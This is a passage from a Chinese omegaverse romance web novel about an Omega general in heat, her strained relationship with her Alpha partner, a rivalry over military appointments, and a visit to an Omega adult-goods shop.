明毓额头上渗出了细密的汗珠,体内的热度如同潮水般一波波涌来,几乎要将她的理智淹没。她咬紧牙关,努力压制着体内的躁动,但那股灼热的感觉却越来越强烈,让明毓忍不住浑身颤抖,发出一声声低低的呻吟。 宋青佩听到她的声音,心中一惊,立刻转过头看向她。 明毓的脸色已经变得潮红,眼神也有些涣散,显然已经到了极限。 “明毓……”宋青佩的声音中夹杂着矛盾。 明毓的身体猛地一颤,死死咬住下唇,试图压抑住体内的躁动。 但那股灼热的感觉却越来越难以忍受,脑海中一片混乱,唯一清晰的,便是那股无法抑制的渴望。 宋青佩看着她痛苦的样子,心中一阵纠结。 她知道,明毓已经到了极限,如果再这样下去…… 宋青佩深吸了一口气,终于下定决心,伸手轻轻按住了明毓的肩膀。 明毓的身体猛地一僵,侧过头看向宋青佩,眼神中带着一丝羞恼和抗拒。 她想要推开宋青佩的手,但一接触,整个身体都眷恋极了这熟悉的温度,反而贴得更近了,仿佛在欲拒还迎。 宋青佩犹豫了一秒,直接俯身靠近,轻轻咬住了明毓的腺体。 随着她的动作,明毓的身体猛地一颤,发出一声压抑的呻吟。 很快,明毓的呼吸逐渐平稳下来,体内的躁动也得到了暂时的缓解,但是伴随着这种熟悉的感觉,她仿佛被勾起了体内更深处的渴望,开始不满足这种浅尝辄止的安抚。 然而,让明毓失望的是,宋青佩并没有继续下去。 她很快松开了明毓,重新坐回座位上,语气平静:“好了,你先休息一下。” 带着安抚的余韵,明毓的身体依旧在微微颤抖,心中涌起一股难以言喻的空虚感,她想要宋青佩,想要更多的安抚。 但宋青佩却已经拉开了距离,仿佛刚才的一切都没有发生过。 明毓的心中充满了复杂的情绪,既有对宋青佩的渴望,又有一种难以形容的失落,让她胸口一阵憋闷,难受的她呼吸几乎带着苦涩。 悬浮车缓缓驶入空中车道,窗外的景色飞速掠过。 悬浮车终于抵达了目的地,明毓僵硬着身子下了车,努力掩饰着自己的尴尬。 回到家,颂颂正坐在客厅的地毯上,手里抱着一只毛绒玩具。听到开门声,她立刻抬起头,眼睛亮晶晶地看向门口。 看到宋青佩和明毓一起走进来,她立刻扔下玩具,欢快地跑了过去。 “妈妈!妈咪!”颂颂张开双臂,扑向宋青佩的腿,紧紧抱住她,仰起小脸,笑得像一朵盛开的花。 宋青佩弯下腰,轻轻揉了揉颂颂的头发,温柔地问道:“今天在家乖不乖?” 颂颂用力点头,奶声奶气地回答:“我可乖了!苏阿姨还夸我了呢!” 明毓站在一旁,看着母女俩的互动,嘴角不自觉地扬起一抹笑意。 她蹲下身,轻轻捏了捏颂颂的脸颊,语气宠溺:“颂颂真棒。” 颂颂转过头,扑向明毓,小手紧紧搂住她的脖子,撒娇道:“妈咪,你今天怎么回来得这么晚?我都等了好久好久!” 明毓被她搂得有些喘不过气,但还是笑着拍了拍她的背:“妈咪今天有点忙,下次早点回来陪你好不好?” 颂颂松开手,眨巴着大眼睛:“那说好了,下次一定要早点回来!” 宋青佩看着她们,心中涌起一股暖意。 她轻轻拍了拍颂颂的肩膀,柔声道:“好了,先去吃饭吧,苏奶奶已经准备好了。” 颂颂立刻兴奋地跳了起来,拉着宋青佩和明毓的手,蹦蹦跳跳地往餐厅走去。 餐桌上,颂颂一边吃饭,一边叽叽喳喳地说个不停,讲述着今天在家里发生的趣事。宋青佩和明毓偶尔回应几句,气氛温馨而融洽。 吃完饭后,颂颂拉着宋青佩和明毓的手,撒娇道:“妈妈,妈咪,我们一起玩吧!” 宋青佩看了看时间,虽然已经不早了,但看着颂颂期待的眼神,她还是点了点头:“好,我们一起玩。” 颂颂立刻欢呼起来,拉着她们坐到沙发上,拿出了一堆玩具,开始兴致勃勃地摆弄起来。她一会儿让宋青佩帮她拼积木,一会儿又让明毓给她讲故事,忙得不亦乐乎。 明毓坐在沙发上,虽然脸上带着笑意,但她的脸颊却微微泛红,呼吸也有些急促。她的手指无意识地摩挲着沙发边缘,似乎在极力忍耐着什么。 宋青佩察觉到她的异样,侧过头看了她一眼,轻声问道:“你还好吗?” 明毓勉强笑了笑,点了点头:“我没事。” 颂颂并没有注意到两人的异样,依旧兴致勃勃地玩着玩具。 她突然抬起头,眨巴着大眼睛,期待地看着宋青佩和明毓:“妈妈,妈咪,今晚我可以和你们一起睡吗?” 宋青佩愣了一下,随即温柔地笑了笑:“颂颂,你已经长大了,应该自己睡了。” 颂颂噘起小嘴,不满地说道:“可是我想和妈妈、妈咪一起睡嘛!” 明毓的脸色更加红了,她咬了咬牙,勉强挤出一丝笑容:“颂颂乖,今晚妈咪有点不舒服,你先自己睡好不好?” 颂颂听了,立刻担心地看向明毓:“妈咪,你哪里不舒服?要不要去看医生?” 明毓摇了摇头,轻轻拍了拍颂颂的头:“没事,妈咪休息一下就好了。” 颂颂虽然有些不情愿,但还是点了点头:“那好吧,妈咪要好好休息哦。” 宋青佩看着明毓越来越红的脸颊,心中明白她已经快到极限了。 她轻轻拍了拍颂颂的肩膀,柔声道:“颂颂,妈妈陪你玩一会儿,然后你就去睡觉,好不好?” 颂颂点了点头,虽然有些不舍,但还是乖乖地答应了。 宋青佩陪着颂颂玩了一会儿,终于将她哄上了床。 颂颂躺在床上,眨巴着大眼睛,拉着宋青佩的手,撒娇道:“妈妈,你给我讲个故事吧。” 宋青佩无奈地笑了笑,点了点头:“好,妈妈给你讲个故事。” 她坐在床边,轻声细语地给颂颂讲故事,颂颂听得津津有味,时不时地发出咯咯的笑声。 明毓站在门口,她的身体越来越热,呼吸也越来越急促,几乎快要支撑不住了。 她咬了咬牙,低声说道:“你先哄颂颂睡,我回房间了。” 宋青佩点了点头,若有所指道:“好,我一会儿就过去。” 仅仅是听到这句暧昧的话,明毓身上的热度就瞬间上升了好几个度,她转身离开,脚步有些踉跄。 明毓快步走回自己的房间,关上门,靠在门板上,深深地吸了一口气。 她的身体微微颤抖,额头上渗出了细密的汗珠,体内的热度如同潮水般一波波涌来,几乎要将她的理智淹没。 她咬了咬牙,再次拿起一支抑制剂,毫不犹豫地注射进自己的手臂。 随着冰冷的液体流入体内,她感到体内的热度稍微缓解了一些,但那股隐隐的躁动却依旧无法彻底消除。 她躺在床上,闭上眼睛,试图平复自己的呼吸,但脑海中却不由自主地浮现出宋青佩的身影,理智一片混乱,唯一清晰的,便是那股无法抑制的渴望。 另一边,宋青佩终于将颂颂哄睡。 她轻轻吻了吻颂颂的额头,替她掖好被子,然后轻手轻脚地走出了房间。 她站在走廊上,深吸了一口气,做了下心理准备,才走向明毓的房间。 还没走到门口,宋青佩就闻到了一股浓郁的Omega信息素,她的心跳不由微微加快,呼吸也变得有些急促。 她咬了咬牙,努力稳住心神,伸手推开了明毓的房门。 房间里一片昏暗,只有浴室的门缝里透出一丝微弱的光。 宋青佩不由皱了皱眉,目光扫过空荡荡的房间,心中有些疑惑。明毓不在床上,房间里也没有她的身影,只有浴室里传来哗哗的水声。 宋青佩走进浴室,轻轻敲了敲门,低声问道:“明毓,你在里面吗?” 水声依旧,没有人回应。 宋青佩犹豫片刻,伸手推开了浴室的门。 门刚一打开,一股浓郁的Omega信息素便扑面而来,夹杂着冷水的气息,让她不由得屏住了呼吸。 浴室里,明毓正站在淋浴下,冷水从她的头顶冲刷而下,湿透的衣服紧紧贴在身上,勾勒出她纤细的腰身和修长的双腿。 她的头发湿漉漉地贴在脸颊上,水滴顺着她的下巴滑落,整个人散发着放浪的奢靡感。 宋青佩呼吸一滞,快速的移开了视线。 见明毓依旧毫无反应,只得快步走了进去,伸手关掉了淋浴。 她伸手抓住明毓的肩膀,语气中带着一丝责备:“你疯了吗?这么冷的天,洗什么冷水澡?” 明毓的身体微微颤抖,抬起头看向宋青佩,眼神中带着一丝迷离和渴望。 她的脸颊泛着不自然的红晕,呼吸急促,显然已经到了极限。 她没有回答宋青佩的问题,而是猛地伸手抓住了她的手腕,将她拉进了怀里。 宋青佩猝不及防,被明毓摁在了墙上,后背撞上冰冷的瓷砖,让她不由得倒吸了一口冷气。她还没来得及反应,明毓的唇便已经贴了上来,带着灼热的温度和急切的气息,狠狠地吻住了她。 宋青佩的瞳孔猛地收缩,身体僵硬了一瞬,随即反应过来,伸手想要推开明毓。 然而,明毓的力气大得惊人,她的手臂紧紧箍住宋青佩的腰,将她牢牢固定在墙上,唇齿间的攻势愈发激烈,仿佛要将她整个人吞噬。 宋青佩的心跳骤然加快,呼吸也变得急促起来。 她感受到明毓的身体紧贴着自己,湿透的衣服传递着冰冷的触感,但她的体温却高得吓人,仿佛一团燃烧的火焰,几乎要将宋青佩的理智烧尽。 宋青佩偏过头,避开了明毓的吻,声音沙哑:“明毓,冷静点!” 明毓的动作微微一顿,呼吸依旧急促,眼神中带着一丝不满。 她的手指紧紧抓住宋青佩的肩膀,声音沙哑而颤抖:“宋青佩,我……我受不了了……” 宋青佩看着明毓那双充满渴望的眼睛,心中涌起一股复杂的情绪。 她知道,明毓的发热期已经到了极限,再这样下去,她的身体可能会受到更大的伤害。 她努力平复自己的呼吸,低声说:“好,我帮你,但你得先冷静点。” 明毓的身体微微颤抖,点了点头,但她的手指依旧紧紧抓住宋青佩的肩膀,仿佛生怕她会突然离开。 肩膀上传来一阵钝痛感,让宋青佩不由倒抽一口气,“明毓,你先松开我,我们回房间。” 尽管明毓内心十分不愿意,可是对上宋青佩凝重的神色,还是本能地怕她生气。 她犹豫了一下,最终还是松开了手。 宋青佩扶着她,走出了浴室。 明毓的脚步有些踉跄,身体依旧微微颤抖,呼吸急促而紊乱。 宋青佩将她扶到床边,让她坐下,随后转身去拿毛巾。 她拿着毛巾走回来,轻轻擦拭着明毓湿漉漉的头发和脸颊。 明毓的身体微微颤抖,眼神迷离,体内的热度如同潮水般一波波涌来,几乎要将她的理智淹没。 她的呼吸急促,眼神迷离,仿佛整个世界都只剩下宋青佩的气息。 明毓忍不住再次主动抱住宋青佩,双手紧紧环住她的腰,脸颊贴在她的颈窝,贪婪地汲取着她身上的味道,宋青佩的身体不由一僵。 她不习惯如此亲密,尤其是与明毓之间,这种亲密让她感到不安和抗拒。 她下意识地想要推开明毓,手指轻轻抵在她的肩膀上,试图拉开两人之间的距离。 然而,明毓却不肯放手。 她的手指紧紧抓住宋青佩的手腕,带着一丝急切和渴望,将她的手缓缓拉向自己,动作轻柔却坚定,仿佛在无声地祈求宋青佩的回应。 明毓的指尖微微颤抖,带着灼热的温度,一点点引导着宋青佩的手抚摸自己的脸颊、脖颈,最后停留在她的锁骨上。 宋青佩的心跳骤然加快,呼吸也变得急促起来。 她的手指触碰到明毓滚烫的肌肤,感受到她身体的颤抖和渴望,心中不由得涌起一股难以言喻的情绪。 属于Omega的信息素在空气中弥漫,带着浓郁的诱惑,仿佛要将宋青佩的理智彻底击溃,她的呼吸变得紊乱,体内的信息素也开始不受控制地回应明毓的勾引,心中的防线似乎在一点点崩塌。 宋青佩知道自己不能再这样下去。 再这样下去,她可能会忍不住沉沦在明毓的诱惑中,再次重蹈覆辙,沦为笑话。 宋青佩猛地回过神来,她想起了明毓之前对她的羞辱,想起了她们之间的交易,想起了自己曾经发誓再也不会因为明毓而动心。想到这些,旖旎瞬间被理智压制下去。 她用力推开明毓,声音冷硬中带着一丝嘲讽:“没想到,上将大人发热期来的时候还是这么饥渴。”她的语气中充满了讥讽和不屑,仿佛在刻意羞辱明毓。 明毓的身体猛地一僵,眼神中闪过惊愕和不可置信。 她仿佛被泼了一盆凉水,整个人瞬间清醒了许多,虽然脸颊依旧泛着不自然的红晕,但眼中的迷离和渴望已经被震惊和羞恼取代。 她张了张嘴,似乎想要说些什么,但最终却什么也没说出口,只是愣愣地看着宋青佩。 宋青佩看着明毓的反应,知道自己的话惹恼了明毓,但这正是她想要的效果。 她深努力平复自己的情绪,随后按部就班地开始安抚明毓。她手指在她的腺体上轻轻按压,释放出少量的信息素,帮助明毓缓解体内的躁动,看上去熟练而冷静,仿佛只是在完成一项任务,没有丝毫的情感投入。 宋青佩低下头,轻轻咬住了明毓的腺体。 随着她的动作,明毓的身体猛地一颤,随即发出一声压抑的呻吟。 她的呼吸逐渐平稳下来,体内的躁动也得到了暂时的缓解。 见状,宋青佩松开了明毓,重新坐直身体,语气平静:“好了,你先休息吧,我走了。” 明毓看着宋青佩的背影,忍不住想要抓住宋青佩,想要质问她,为何在做如此亲密的是时候这样羞辱她?难道她对她真的一点吸引力也没有? 到底还是不甘心,明毓咬了咬牙,忍不住反唇相讥:“宋青佩,你到底是不是Alpha?都这样了信息素都没反应,我……我再饥渴总比你不行强吧。” 宋青佩陡然转过身,直视着明毓的眼睛,语气冷淡:“我是劣等Alpha,你不是早就知道了吗?难道你已经饥渴到希望一个劣等A彻底标记你?” 明毓的脸色瞬间变得苍白,眼神中闪过一丝羞恼和愤怒。 她的手指紧紧抓住床单,指节因用力而泛白,声音中带着一丝嘲讽:“呵,你未免太自恋了,我怎么会渴望一个劣等Alpha的彻底标记!” 话一出口,明毓就后悔了。 宋青佩的脸色也瞬间冷了下来,什么都没说,转身离开了房间。 明毓她想要叫住宋青佩,想要道歉,但喉咙却像是被什么堵住了一般,最终却什么也没说出口,只能眼睁睁地看着宋青佩留下一个决绝的背影。 宋青佩走出房间,靠在走廊的墙上,深深吸了一口气。 她低头看了看自己的手,指尖还残留着明毓肌肤的触感,仿佛还能感受到她身体的温度和颤抖。可她知道,自己不能再因为明毓而动心,哪怕是欲念也不行,她必须守住自己的底线。 宋青佩努力平复着自己的情绪,眼神变得越发坚定,随后决绝地离开。 房间里,明毓依旧坐在床边,她感受到体内的热度逐渐消退,但心中的空虚和失落却愈发强烈。 她咬了咬牙,站起身,走到窗前,深深吸了一口气。 窗外的夜色依旧深沉,明毓的眼神逐渐变得焦灼,原本的愤怒早就被失落压制了下去。此刻心里只剩下懊恼,刚才为什么要逞口舌之快,说那些难听的话。 现在宋青佩肯定更厌恶她了。 第29章 让我完全属于你 自从那晚的不欢而散后,明毓和宋青佩的关系降到了冰点。 明毓虽然内心懊悔,但强烈的自尊让她无法在宋青佩的羞辱下,继续低头道歉。 而宋青佩则表现得更加冷淡,仿佛只是在机械地完成任务,每次安抚结束后,都会毫不犹豫地离开,连多余的眼神都不愿意给明毓。 宋青佩的冷漠,让明毓感到前所未有的挫败,她忍不住怀疑自己是否真的那么不堪,以至于宋青佩连一丝温情都不愿意给她。 在这样的煎熬下,明毓反而忍不住更加关注宋青佩,心底甚至有个声音开始自我催眠,或许她该主动一下,毕竟是她先伤害了宋青佩。 又是一个清晨,阳光透过窗帘的缝隙洒进房间。 明毓从楼上走下来,她穿着一身笔挺的黑色烫金的军装,腰细腿长,脸色冷峻,眼神中却带着一丝疲惫。 宋青佩已经和颂颂坐在了餐桌前,早餐也摆上了桌。 她看了一眼餐桌旁的宋青佩,嘴唇微微动了动,似乎想说些什么,但最终还是沉默地坐了下来。 两人面对面坐着,谁也没有开口说话。 餐桌上只有餐具碰撞的清脆声响,气氛沉闷得让人窒息。 颂颂拿起勺子正准备吃饭,然而,她很快就察觉到了不对劲,今天妈妈和妈咪又没有说话。 她皱了皱小脸,目光在两人之间来回扫视,最后忍不住开口问:“妈妈,妈咪,你们是不是吵架了?” 宋青佩和明毓同时愣了一下,随即异口同声地否认:“没有。” 颂颂显然不相信,她噘起小嘴,不满地说道:“你们骗人!你们都不说话,肯定是在吵架!” 宋青佩放下手中的筷子,轻轻揉了揉颂颂的头发,语气温柔:“颂颂,别乱想,妈妈和妈咪没有吵架,只是今天有点忙,所以没怎么说话。” 明毓也勉强挤出一丝笑容,但是并没有说话。 颂颂看了看宋青佩,又看了看明毓,小脸上写满了疑惑和不满。 她嘟囔道:“你们好幼稚哦,吵架了还不承认。” 宋青佩被女儿的话噎住,一时间不知道该如何回应。 她无奈地叹了口气,催促道:“好了,颂颂,快吃饭吧,妈妈一会儿送你去学校。” 颂颂虽然还是有些不情愿,但还是乖乖地低下头,开始吃饭。 她一边吃,一边时不时地抬头看看宋青佩和明毓,好烦哦,怎么才能让妈妈和妈咪和好啊? 饭桌上,明毓几次想要开口道歉。 但每次她的目光刚对上宋青佩,宋青佩就会不着痕迹地移开视线,仿佛在刻意回避她,明毓的心中涌起一股难以言喻的挫败感。 她咬了咬牙,最终还是将到嘴边的话咽了回去。 于是,早餐再次在沉默中结束。 宋青佩站起身,拿起颂颂的书包,轻声说道:“颂颂,走吧,妈妈送你去学校。” 颂颂点了点头,跳下椅子,跑到明毓身边,仰起小脸说:“妈咪,我走啦,你要乖乖地哦,不要和妈妈吵架了。” 明毓蹲下身,轻轻抱住颂颂,声音有些沙哑:“好,颂颂也要乖乖地,听老师的话。” 颂颂用力点了点头,随后松开手,跑到宋青佩身边,牵起她的手,跟着她走出了家门。 明毓看着宋青佩和颂颂的背影逐渐消失在视线中,心中突然感到一阵烦躁。 她猛地站起身,抓起外套,快步走出了家门。 她没有吃完早餐,甚至连一口水都没喝,就这样带着满心的怒气,驱车前往军部。 一路上,明毓的脑海中不断的闪过宋青佩冷漠的眼神、嘲讽的语气,以及她毫不犹豫离开的背影,仿佛一根根尖锐的刺,深深扎在她的心上。 她想要道歉,想要解释,但每次面对宋青佩的冷漠,她都感到无从开口。 到达军部后,明毓径直走向自己的办公室。 她的脸色冷峻,眼神中带着一丝压抑的怒火,周围的人看到她这副模样,纷纷避让,生怕触了她的霉头。 明毓坐在办公桌前,拿起一份文件,试图将注意力集中在工作上。 然而,她的脑海中却不断浮现出宋青佩的身影,心中的烦躁感愈发强烈。 她猛地将文件摔在桌上,站起身,走到窗边,深深吸了一口气。 “冷静!” 明毓低声自语,手指按压着眉心,试图将那些纷乱的思绪赶出脑海。 她知道,现在不是为私事分心的时候,高级军校的筹备工作已经到了关键时刻,任何疏忽都可能导致前功尽弃。 她强迫自己坐下来,翻开桌上的文件,目光落在那份刚刚获得批准的人选名单上,‘林奇’和姜泽的名字赫然映入眼帘。 明毓的嘴角微微上扬,露出一丝满意的笑容。这两个人是战寒笙的左膀右臂,她必然会因此暴跳如雷,但她不在乎。 这场权力的博弈,她必须赢。 正当她的怒火终于因此得到一些缓解时,办公室的门突然被猛地推开,发出一声巨响。 明毓抬起头,看到战寒笙气势汹汹地冲了进来,脸色铁青,眼中燃烧着怒火。 “明毓!你居然真的敢把林奇和姜泽调走?!” 战寒笙冲着她厉声道,显然已经愤怒到了极点。 明毓的反应却异常平静,她缓缓合上手中的文件,抬起头,目光冷淡地看向战寒笙,语气轻描淡写:“战上将,这是军部的正式任命,你有什么异议吗?” 战寒笙被她这副淡然的态度激得更加愤怒,声音几乎是从牙缝中挤出来的:“明毓,你别以为我不知道你在打什么主意!林奇和姜泽是我的人,你凭什么调走他们?!” 明毓微微挑眉,嘴角勾起一抹嘲讽的笑意:“战中将,军部的任命是根据能力和需求来决定的,不是根据个人关系。林奇和姜泽的能力在高级军校的筹备工作中是不可或缺的,调走他们是为了大局考虑。” “大局?”战寒笙冷笑一声,眼中满是讥讽,“明毓,你少在这里冠冕堂皇!你以为我不知道你是想削弱我的势力?你这是在公报私仇!” 明毓的脸色依旧平静,她缓缓站起身,双手撑在桌面上,目光直视战寒笙,语气中带着一丝不容置疑的强硬:“战上将,如果你对任命有异议,可以去找林元帅申诉。但在此之前,请你尊重军部的决定。” 战寒笙被她的话噎住,脸色变得更加难看。 她咬了咬牙,试图压下心中的怒火,语气稍微缓和了一些:“明毓,我们没必要闹得这么僵。林奇我可以给你,但是你必须把姜泽给我留下。” 明毓闻言,摇了摇头:“任命已经下达,不可能更改。如果你对任命有意见,还是去找林元帅吧。” 战寒笙的脸色瞬间变得铁青,猛地一拍桌子,“明毓,你别太过分!你以为你背后有元帅撑腰,就可以为所欲为吗?我告诉你,这件事没完!” 对于她的愤怒,明毓完全不为所动。 她坐在椅子上,语气冷淡:“战上将,如果你没有其他事,请离开吧。我还有工作要处理。” 战寒笙被她这副油盐不进的态度彻底激怒,她猛地转身,大步走向门口,临走前狠狠地丢下一句:“明毓,你给我等着!” 随着办公室的门被重重摔上,明毓的脸上始终平静如水。 她靠在椅背上,手指无意识地敲击着桌面,脑海中却再次浮现出宋青佩的身影。 不知为何,哪怕是面对战南笙如此挑衅,她依旧可以冷静如初。可每次面对宋青佩,她总是会失去理智,变得不像自己。 明毓忍不住深深地叹了口气,低声呢喃:“宋青佩……” 她摇了摇头,试图将那些纷乱的思绪赶出脑海,重新将注意力集中在工作上。 然而,无论她如何努力,宋青佩的身影却始终挥之不去。更要命的是,体内那股不断翻涌的热潮又开始蠢蠢欲动。 她的发热期又来了。 尽管她已经习惯了这种周期性的折磨,但每一次的发作依旧让她感到难以忍受。 明毓的身体微微颤抖,额头上渗出了细密的汗珠,手中的笔也因为用力过度而微微发颤。她立刻从抽屉里拿出一支血制剂,毫不犹豫地将针头刺入了自己的腺体。 随着血液的注入,那股灼热的感觉逐渐消退一些,她的呼吸也平稳了许多。 明毓闭上眼睛,靠在椅背上,感受着体内的躁动逐渐平息。 她知道,这只是暂时的缓解,发热期的折磨还会持续几天,但她已经没有时间去顾及这些了。 高级军校的建立迫在眉睫,军部的工作堆积如山,她必须尽快处理完这些事务。 明毓重新坐直身体,将手中的血制剂扔到一边,继续投入工作中。 中午时分,办公室的门被轻轻敲响。 明毓抬起头,说:“请进。” 宋惜寒推门而入,脸上带着一贯的温和笑意。 她随手关上门,走到明毓的办公桌前,双手撑在桌面上,微微俯身,语气中带着几分调侃:“我之前看到战南笙气冲冲地走了,脸色难看得像是要杀人。你又对她做了什么?” 明毓抬起头,目光依旧平静,只是眼底隐隐透着一丝疲惫。 她将手中的文件合上,淡淡地说道:“没什么,只是把她的左膀右臂调过来了。” 宋惜寒挑了挑眉,眼中闪过一丝惊讶,随即笑了起来:“你还真是够狠的啊。林奇和姜泽可是她的得力干将,你这一下子就把她的左膀右臂给卸了,难怪她气得跳脚。” 明毓没*有接话,只是微微勾了勾嘴角,露出一抹淡淡的笑意。 她的目光落在桌上的文件上,似乎有些心不在焉。 宋惜寒察觉到她的异样,收敛了笑意,走到她身旁,轻声问道:“你怎么了?看起来心事重重的。” 明毓沉默了片刻,手指无意识地敲击着桌面,似乎在斟酌着该如何开口。 半晌,她抬起头,目光中带着一丝犹豫:“惜寒,你和慕容瑞雪……关系怎么样?” 宋惜寒愣了一下,显然没想到明毓会突然问起慕容瑞雪。 她眨了眨眼,有些疑惑地问道:“你怎么突然对慕容瑞雪感兴趣了?” 明毓的神色有些不自然,她低下头,手指轻轻摩挲着桌上的文件边缘,声音低了几分:“没什么,只是……随便问问。” 宋惜寒盯着她看了几秒,恍然大悟,嘴角扬起一抹意味深长的笑意:“哦——我明白了。你是为了宋青佩吧?” 明毓的身体微微一僵,她下意识地抬手摸了摸唇边,试图掩饰自己的不自在。 然而,这个动作却让宋惜寒注意到了她唇边那道浅浅的咬痕。 宋惜寒的眼睛瞬间亮了起来,像是发现了什么有趣的事情,语气中带着几分调侃:“啧啧,看来你们昨晚挺激烈的啊?连咬痕都留下了。” 明毓的眉头紧皱,语气中带着一丝恼怒:“惜寒,别胡说!” 宋惜寒却丝毫不惧,反而笑得更加意味深长:“我胡说?那你唇边的咬痕是怎么回事?别告诉我是不小心咬到的。” 明毓的脸色更加难看了,“这不关你的事。” 宋惜寒见状,忙收敛了笑意:“好了,我不逗你了。不过,你和宋青佩之间到底怎么了?” 明毓沉默了片刻,才低声说:“她不喜欢我,更不愿意标记我。” 闻言,宋惜寒不由愣住了, 她之前一直以为,是明毓看不上宋青佩,所以才只将颂颂认回了明家,连个名分都没给宋青佩,没想到,根本不是这么回事。 她立刻来了兴趣,打着关心的旗号,八卦道:“怎么会?你们不是都有孩子了,她怎么会不愿意标记你?” 明毓苦笑了一声,声音中带着几分自嘲:“有了孩子又如何?她心里根本没有我。她对我……只有厌恶,没有感情。” 见她这一副为情所困的模样,宋惜寒整个好像都傻了。 在她记忆中,好友从来都是惜字如金,一副无情杀神的模样,哪里露出过这种儿女情态,顿时越发好奇了。这宋青佩到底是何方神圣,改天一定要好好认识一下。 宋惜寒心底默默看着好友笑话,嘴上却关心地询问着其中的细节。 等她一点点套出完整的事情经过,整个人都不好了,忽然开始理解宋青佩,这哪是对方厉害啊,根本就是明毓不做人。她要是被这么羞辱……不宰了对方是她脾气好。 可偏偏好友一通操作猛如虎,要是真不喜欢就算了,回头又发现自己对人还有感情,这不是作死这是什么? 宋惜寒沉默了片刻,轻轻叹了口气:“那你打算怎么办?就这样一直僵持下去?” 明毓摇了摇头,声音中带着几分无奈:“我不知道。我想让她自愿标记我,可是……我不知道该怎么让她愿意。” 宋惜寒看着她,心中默默点了根蜡。 “……如果只是自愿标记的话。”她沉吟了片刻,忽然嘴角扬起一抹坏笑,神秘兮兮地说:其实……我有个远房表妹,很擅长处理这种事情。” 明毓转过头看向她,眼中带着几分疑惑:“你表妹?” 宋惜寒眨了眨眼,笑得更加神秘:“等忙完,我带你去见她,她可是这方面的‘专家’。” 明毓皱了皱眉,显然对宋惜寒的话半信半疑:“你到底在说什么?” 宋惜寒却不再多解释,只是拍了拍她的肩膀,笑着说道:“到时候你就知道了。现在,我们还是先谈军校的事吧。” 明毓虽然心中疑惑,但见宋惜寒不愿多说,便也不再追问。 她重新坐回椅子上,拿起桌上的文件,将注意力重新集中在工作上。宋惜寒坐在一旁的沙发上,翻看着手中的文件,偶尔抬头和明毓交谈几句。 时间一分一秒地过去,办公室里的气氛渐渐变得安静而沉闷。 终于,明毓处理完了最后一份文件,抬起头,长长地舒了一口气。 她揉了揉有些酸痛的太阳穴,站起身,走到窗边,望着窗外的景色,眼神中带着几分疲惫。 宋惜寒放下手中的文件,走到她身旁,轻声问:“忙完了?” 明毓点了点头,声音有些沙哑:“嗯,差不多了。” “那走吧,我带你去个好地方。” 等两人下了楼,天色已经暗了下来,军部大楼外的路灯一盏盏亮起,映照在悬浮车的车窗上,折射出斑驳的光影。 宋惜寒兴致勃勃地拉着明毓上了车,脸上带着一抹神秘的笑容。 “你到底要带我去哪儿?”明毓坐在副驾驶座上,眉头微皱,语气中带着一丝不耐烦。 她今天已经够累了,实在不想再跟着宋惜寒折腾。 宋惜寒却只是神秘地笑了笑,语气轻快:“别急,到了你就知道了。” 明毓瞥了她一眼,心中隐隐有些不安。 宋惜寒向来是个不按常理出牌的人,谁知道她这次又在打什么主意。但想到宋青佩那冷漠的眼神,明毓心中又升起一丝期待。 或许,宋惜寒真的能帮到她? 悬浮车在夜空中疾驰,穿过繁华的市区,最终停在了一条略显偏僻的街道上。 明毓透过车窗,看到前方不远处有一家装潢精致的店铺,招牌上闪烁着柔和的粉色灯光,隐约能看到“Omega专属情趣用品”几个字。 明毓的脸色瞬间沉了下来,“宋惜寒,你带我来这种地方干什么?” 宋惜寒却毫不在意地笑了笑,伸手拍了拍明毓的肩膀:“别这么紧张嘛,这是我表妹开的店,里面全是最近流行的好东西,进去看看呗,绝对能迷死Alpha。” 明毓的脸色更加难看了,拒绝道:“我没兴趣。” 宋惜寒眼疾手快地拉住她的手腕,语气中带着几分急切:“哎,别走啊!来都来了,进去看看又不会少块肉。再说了,你不是想搞定宋青佩吗?这可是个好机会。” 明毓的心中挣扎了片刻,最终还是被宋惜寒半推半就地推进了店里。 店铺的门一推开,一股淡淡的香气扑面而来,空气中弥漫着一种暧昧的氛围。 “欢迎光临!” 一个清脆的声音从柜台后传来,紧接着,一个身材娇小、面容甜美的Omega女孩快步走了过来。 她脸上带着热情的笑容,目光在明毓身上扫过,眼中闪过一丝惊艳。 “表姐,这位是?”女孩笑着问道,语气中带着几分好奇。 宋惜寒拍了拍明毓的肩膀,笑着介绍:“这是我朋友,明毓。她最近遇到点感情问题,我带她来你这儿取取经。” 女孩立刻露出一个了然的表情,热情地拉住明毓的手:“原来是明小姐,快请进!我是宋惜寒的表妹,叫宋小柔,你叫我小柔就行。” 明毓被她的热情弄得有些不知所措,勉强挤出一丝笑容:“你好。” “明小姐,您好。” 宋晓柔和明毓打过招呼,便将视线转向了宋惜寒。 宋惜寒立刻很有分寸地说:“小柔好好招待我朋友,我去车上等着了。” “明小姐,您放心,我这里一对一接待Omega顾客,绝对保密隐私。” 宋小柔边说边带着明毓走到店内的一处休息区,示意她坐下,随后转身去倒了一杯热茶,递到明毓手中:“明小姐,先喝点茶,放松一下。有什么需要尽管跟我说,我这里的东西绝对能帮你解决问题。” 明毓接过茶杯,手指微微颤抖,心中尴尬得几乎想要立刻逃离。 她抿了一口茶,试图平复自己的情绪,但目光却不由自主地扫过周围的货架。 店内灯光柔和,货架上摆满了各式各样的情趣用品,从暴露的情趣内衣到各种稀奇古怪的小道具,琳琅满目,看得明毓脸色越发尴尬。 宋小柔似乎察觉到了她的不安,笑着坐在她对面,语气温柔:“明小姐,不用紧张。我这里的东西都是为了帮助Omega和伴侣增进感情的,你不用觉得不好意思。” 明毓手指无意识地摩挲着茶杯边缘,声音低得几乎听不清:“我……我不知道该怎么说。” 宋小柔笑了笑,语气中带着几分鼓励:“没关系,你可以慢慢说。我见过很多像你这样的Omega,她们一开始也很害羞,但最后都会找到适合自己的方法。” 明毓沉默了片刻,终于还是开口了:“我的伴侣……是个劣等Alpha,信息素比较冷淡。我……我说了一些难听的话,伤害了她。现在她……对我很冷淡。” 宋小柔听完,眼中闪过一丝了然,轻轻点了点头:“原来是这样。劣等Alpha本来就比较自卑,怕不能满足伴侣,所以你要以鼓励为主,不要打击对方。要主动、大胆、热情,这样伴侣也会更有激情。” 明毓的脸色微微泛红,手指紧紧攥住茶杯,声音中带着一丝犹豫:“我……我该怎么做?” 宋小柔笑了笑,站起身走到货架旁,随手拿起一件黑色的蕾丝情趣内衣,递到明毓面前:“你可以先从这些小东西开始。比如这件内衣,既性感又不会太过暴露,很适合你这种初次体验者。” 明毓看着那件几乎透明的内衣,脸色瞬间涨红,手指微微颤抖:“这……这也太……” 